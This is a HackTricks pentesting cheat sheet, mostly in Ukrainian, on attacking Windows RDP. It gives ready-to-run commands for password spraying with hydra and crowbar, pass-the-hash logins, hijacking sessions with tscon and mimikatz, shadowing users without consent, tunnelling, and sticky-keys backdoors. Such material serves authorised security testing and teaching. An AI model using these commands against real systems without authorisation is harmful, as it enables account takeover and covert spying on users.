3389 - Pentesting RDP

Tip

Вчіться та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вчіться та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Вчіться та практикуйте Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE) Перегляньте повний каталог HackTricks Training для assessment tracks (ARTA/GRTA/AzRTA) і Linux Hacking Expert (LHE).

Підтримайте HackTricks

Основна інформація

Розроблений Microsoft, the Remote Desktop Protocol (RDP) призначений для встановлення графічного інтерфейсного з’єднання між комп’ютерами через мережу. Для встановлення такого з’єднання користувач використовує RDP клієнтське програмне забезпечення, а віддалений комп’ютер повинен запускати RDP серверне програмне забезпечення. Така конфігурація дозволяє зручно керувати та отримувати доступ до робочого столу віддаленого комп’ютера, фактично відображаючи його інтерфейс на локальному пристрої користувача.

Порт за замовчуванням: 3389

PORT     STATE SERVICE
3389/tcp open  ms-wbt-server

Перерахування

Автоматизоване

nmap --script "rdp-enum-encryption or rdp-vuln-ms12-020 or rdp-ntlm-info" -p 3389 -T4 <IP>

Перевіряє доступні параметри шифрування та вразливість до DoS (без викликання DoS для сервісу) і отримує інформацію NTLM Windows (версії).

Рівень безпеки / NLA перевірки

RDP може узгоджувати різні рівні безпеки (native RDP, TLS або CredSSP/NLA). Ви можете швидко визначити налаштування на стороні сервера та чи вимагається NLA:

# Security layer and encryption info
nmap --script rdp-enum-encryption -p 3389 <IP>

# Quick auth check (also reports if NLA is required)
nxc rdp <IP> -u <user> -p <password>

# Pre-auth screenshot only works if NLA is disabled
nxc rdp <IP> --nla-screenshot

# Authenticated screenshot after valid login
nxc rdp <IP> -u <user> -p <password> --screenshot

Brute force

Будьте обережні, ви можете заблокувати облікові записи

Password Spraying

Будьте обережні, ви можете заблокувати облікові записи

# https://github.com/galkan/crowbar
crowbar -b rdp -s 192.168.220.142/32 -U users.txt -c 'password123'
# hydra
hydra -L usernames.txt -p 'password123' 192.168.2.143 rdp

Підключення з відомими обліковими даними/хешем

rdesktop -u <username> <IP>
rdesktop -d <domain> -u <username> -p <password> <IP>
xfreerdp [/d:domain] /u:<username> /p:<password> /v:<IP>
xfreerdp [/d:domain] /u:<username> /pth:<hash> /v:<IP> #Pass the hash

Перевірка відомих облікових даних проти RDP сервісів

rdp_check.py з impacket дозволяє перевірити, чи є певні облікові дані дійсними для RDP служби:

rdp_check <domain>/<name>:<password>@<IP>

Атаки

Session stealing

З привілеями SYSTEM ви можете отримати доступ до будь-якої відкритої RDP сесії будь-якого користувача без необхідності знати пароль власника.

Отримати відкриті сесії:

query user

Доступ до вибраної сесії

tscon <ID> /dest:<SESSIONNAME>

Тепер ви опинитеся всередині вибраної RDP-сесії і повинні будете видавати себе за користувача, використовуючи лише Windows інструменти та функції.

Important: Під час доступу до активної RDP-сесії ви викинете користувача, який її використовував.

Ви могли б отримати паролі шляхом process dumping, але цей метод значно швидший і дозволяє взаємодіяти з віртуальними робочими столами користувача (паролі в notepad без збереження на диск, інші RDP-сесії, відкриті на інших машинах…)

Mimikatz

Ви також можете використати mimikatz для цього:

ts::sessions        #Get sessions
ts::remote /id:2    #Connect to the session

RDP Shadowing (Remote Control)

Якщо Remote Desktop Services shadowing увімкнено, ви можете переглядати або керувати активною сесією іншого користувача (іноді без його згоди) за допомогою вбудованих перемикачів mstsc.

# List sessions on a remote host
qwinsta /server:<IP>
quser /server:<IP>

# Shadow a specific session (consent required if policy enforces it)
mstsc /v:<IP> /shadow:<SESSION_ID> /control

# Shadow without consent if policy allows it
mstsc /v:<IP> /shadow:<SESSION_ID> /noconsentprompt /prompt

# Check current shadowing policy on the target
reg query "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v Shadow

RDP Virtual Channel Tunneling

RDP підтримує virtual channels, які можуть використовуватися зловмисниками для pivoting/tunneling через встановлену RDP-сесію. Одним із варіантів є rdp2tcp (client/server), який може мультиплексувати TCP forwards через RDP (працює з FreeRDP).

# Start FreeRDP with rdp2tcp virtual channel
xfreerdp /u:<user> /v:<IP> /rdp2tcp:/path/to/rdp2tcp/client/rdp2tcp

Tunneling and Port Forwarding

Sticky-keys & Utilman

Комбінуючи цю техніку з stickykeys або utilman, ви зможете отримати доступ до адміністративного CMD та будь-якої RDP-сесії в будь-який час

You can search RDPs that have been backdoored with one of these techniques already with: https://github.com/linuz/Sticky-Keys-Slayer

RDP Process Injection

Якщо хтось із іншого домену або з кращими привілеями увійде через RDP на ПК, де ви є Admin, ви можете inject свій beacon у його RDP session process і діяти від його імені:

RDP Sessions Abuse

Додавання користувача до групи RDP

net localgroup "Remote Desktop Users" UserLoginName /add

Автоматичні інструменти

AutoRDPwn — це post-exploitation фреймворк, створений на Powershell, який призначений здебільшого для автоматизації атаки Shadow на комп’ютери Microsoft Windows. Ця уразливість (вказана Microsoft як функціональність) дозволяє віддаленому зловмиснику переглядати робочий стіл жертви без її згоди, а також контролювати його за потреби, використовуючи інструменти, вбудовані в операційну систему.

  • EvilRDP

  • Автоматизоване керування мишею та клавіатурою з командного рядка

  • Автоматизоване керування буфером обміну з командного рядка

  • Створення SOCKS проксі на клієнті, який спрямовує мережевий трафік до цілі через RDP

  • Виконання довільних команд SHELL та PowerShell на цілі без завантаження файлів

  • Відправка файлів на ціль та отримання їх з цілі навіть коли передача файлів на цілі вимкнена

  • SharpRDP

Цей інструмент дозволяє виконувати команди в RDP жертви без необхідності графічного інтерфейсу.

Автоматичні команди HackTricks

Protocol_Name: RDP    #Protocol Abbreviation if there is one.
Port_Number:  3389     #Comma separated if there is more than one.
Protocol_Description: Remote Desktop Protocol         #Protocol Abbreviation Spelled out

Entry_1:
Name: Notes
Description: Notes for RDP
Note: |
Developed by Microsoft, the Remote Desktop Protocol (RDP) is designed to enable a graphical interface connection between computers over a network. To establish such a connection, RDP client software is utilized by the user, and concurrently, the remote computer is required to operate RDP server software. This setup allows for the seamless control and access of a distant computer's desktop environment, essentially bringing its interface to the user's local device.

https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-rdp.html

Entry_2:
Name: Nmap
Description: Nmap with RDP Scripts
Command: nmap --script "rdp-enum-encryption or rdp-vuln-ms12-020 or rdp-ntlm-info" -p 3389 -T4 {IP}

Посилання

Tip

Вчіться та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вчіться та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Вчіться та практикуйте Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE) Перегляньте повний каталог HackTricks Training для assessment tracks (ARTA/GRTA/AzRTA) і Linux Hacking Expert (LHE).

Підтримайте HackTricks